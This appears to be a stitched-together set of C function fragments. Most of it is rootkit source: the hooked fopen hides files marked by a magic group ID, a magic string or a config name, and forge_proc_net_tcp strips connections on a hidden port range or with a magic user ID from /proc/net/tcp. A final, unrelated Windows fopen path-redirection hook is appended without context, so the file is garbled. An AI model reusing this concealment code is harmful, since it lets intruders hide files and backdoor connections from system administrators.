FILE * fopen (const char *filename, const char *mode) { struct stat s_fstat; #ifdef DEBUG printf ("fopen hooked %s.\n", filename); #endif if (!libc) libc = dlopen (LIBC_PATH, RTLD_LAZY); if (!old_fopen) old_fopen = dlsym (libc, "fopen"); if (!old_xstat) old_xstat = dlsym(libc, "__xstat"); if (strcmp (filename, PROC_NET_TCP) == 0 || strcmp (filename, PROC_NET_TCP6) == 0) return forge_proc_net_tcp (filename); memset (&s_fstat, 0, sizeof (stat)); old_xstat (_STAT_VER, filename, &s_fstat); if (s_fstat.st_gid == MAGIC_GID || (strstr (filename, MAGIC_STRING)) || (strstr (filename, CONFIG_FILE))) { errno = ENOENT; return NULL; } return old_fopen (filename, mode); }
FILE * forge_proc_net_tcp (const char *filename) { char line[LINE_MAX]; unsigned long rxq, txq, time_len, retr, inode; int local_port, rem_port, d, state, uid, timer_run, timeout; char rem_addr[128], local_addr[128], more[512]; #ifdef DEBUG printf ("forge_proc_net_tcp executed.\n"); #endif if (!libc) libc = dlopen (LIBC_PATH, RTLD_LAZY); if (!old_fopen) old_fopen = dlsym (libc, "fopen"); FILE *tmp = tmpfile (); FILE *pnt = old_fopen (filename, "r"); while (fgets (line, LINE_MAX, pnt) != NULL) { sscanf (line, "%d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %512s\n", &d, local_addr, &local_port, rem_addr, &rem_port, &state, &txq, &rxq, &timer_run, &time_len, &retr, &uid, &timeout, &inode, more); if ((rem_port >= LOW_PORT && rem_port <= HIGH_PORT) || uid == MAGIC_UID) { } else { if (local_port >= LOW_PORT && local_port <= HIGH_PORT) { } else { fputs (line, tmp); } } } fclose (pnt); fseek (tmp, 0, SEEK_SET); return tmp; }
CDECL my_fopen( const char *filename, const char *mode ) { CHAR Path[MAX_PATH]; WCHAR *NewFileName, szFile[MAX_PATH], szFullPath[MAX_PATH]; NewFileName = GetFileName(szFullPath, countof(szFullPath), szFile, countof(szFile), filename); if (NewFileName == szFullPath) { Nt_UnicodeToAnsi(Path, sizeof(Path), NewFileName, -1); filename = Path; } return old_fopen(filename, mode); }